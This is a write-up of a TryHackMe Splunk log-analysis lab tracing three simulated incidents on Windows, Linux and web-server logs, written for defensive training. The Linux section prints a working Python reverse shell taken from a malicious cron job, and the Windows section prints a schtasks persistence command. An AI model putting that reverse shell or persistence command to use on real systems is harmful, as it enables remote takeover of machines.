

SIEM Log Analysis — Multi-Source Incident Investigation

Platform: TryHackMe — Log Analysis with SIEM (Splunk) | Prerequisite: Let's Defend SIEM 101 | Tools: Splunk (SPL), Sysmon, Linux auth/syslog, Web logs

Overview

This project documents a hands-on SOC Level 1 triage exercise across three separate log sources — Windows endpoint logs, Linux server logs, and web server logs — each simulating a real alert requiring investigation. The goal was to move beyond memorized queries and build a repeatable, field-driven methodology for querying any unfamiliar log source in Splunk.

Methodology

Rather than guessing field names or query syntax, a consistent four-step approach was used across all three investigations:

1. **Scope** — start from the known index (index=taskN)
 2. **Discover** — expand a real event before writing any filter, to confirm actual field names and data structure
 3. **Filter** — narrow the search step by step, driven by the specific question being asked (IP, port, user, URI, hash)
 4. **Correlate** — pivot between events using a shared identifier (ProcessGuid, timestamp, username) to reconstruct the full sequence of an incident
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Investigation 1 — Windows Endpoint: Suspicious Network Connection

Scenario: Alert for a suspicious network connection on port 5678 on host WIN-105.

Process

Located a Sysmon Event ID 3 (network connection) showing process C:\Windows\Temp\SharePoint.exe initiating an outbound TCP connection to 10.10.114.80:5678. Pivoted on the event's ProcessGuid to locate the corresponding Event ID 1 (process creation), revealing the parent process (explorer.exe, user-initiated), the user (WIN-105\Ben Foster), and the file hash. Searched for schtasks.exe execution on the same host, uncovering a scheduled task created for persistence:

```
schtasks /create /sc onlogon /st 15:30 /tn "Office365Install" /tr  
"C:\Windows\Temp\SharePoint.exe"
```

Findings

Indicator	Value
Malicious binary	SharePoint.exe (masquerading as legitimate software)

C2 destination	10.10.114.80:5678
File hash (MD5)	770D14FFA142F09730B415506249E7D1
Persistence mechanism	Scheduled task "Office365Install"

Classification: C2 beaconing + scheduled-task persistence.

Investigation 2 — Linux Server: SSH Persistence & Privilege Escalation

Scenario: Alert for possible persistence via a new remote SSH user on an Ubuntu server.

Process

Discovered a sudo privilege escalation event: user jack-brown successfully elevated to root. Traced the originating SSH login (sourcetype=linux_secure) to confirm the source IP behind the session. Broke down all Linux syslog activity by process to identify anomalous entries outside normal auth activity. Found a cron job (one malicious entry among eight) executing a Python reverse shell on every run:

```
import socket, subprocess, os;
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("10.10.33.31", 7654));
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2);
p=subprocess.call(["/bin/sh", "-i"]);
```

Findings

Indicator	Value
Escalated user	jack-brown
Persistence mechanism	Cron-scheduled Python reverse shell
C2 destination	10.10.33.31:7654

Classification: Cron-based persistence with recurring reverse shell callback.

Investigation 3 — Web Server: Traffic Spike Investigation

Scenario: Alert for a spike in activity on the organization's website.

Process

Ranked source IPs by request volume to isolate the anomaly, identifying the top offending external IP: 167.172.41.141. Ranked request volume by URI to identify the targeted endpoint. Reviewed the User-Agent field of the flagged requests, identifying the automated tool used:

```
User-Agent: WPScan v3.8.28
```

Findings

Indicator	Value
Source IP	167.172.41.141
Attack tool	WPScan v3.8.28
Target	Highest-hit URI (login endpoint)

Classification: Automated brute-force attempt against a WordPress login page.

Skills Demonstrated

- Writing and refining Splunk SPL queries (boolean logic, field filtering, stats, table, sort)
- Field discovery in unfamiliar/unstructured log sources (Windows Sysmon vs. Linux syslog vs. web logs)
- Event correlation using shared identifiers (ProcessGuid, timestamps, usernames)
- MITRE ATT&CK-aligned classification of findings (persistence, C2, privilege escalation, brute force)
- Distinguishing structured (Sysmon) vs. semi-structured (auth.log) vs. unstructured (syslog) log analysis approaches

Key Takeaway

The biggest shift in this exercise wasn't learning SPL syntax — it was building the discipline to verify field names against real data before writing a filter, rather than assuming them. That single habit turned repeated “no results found” errors into consistent, working queries across three very different log formats.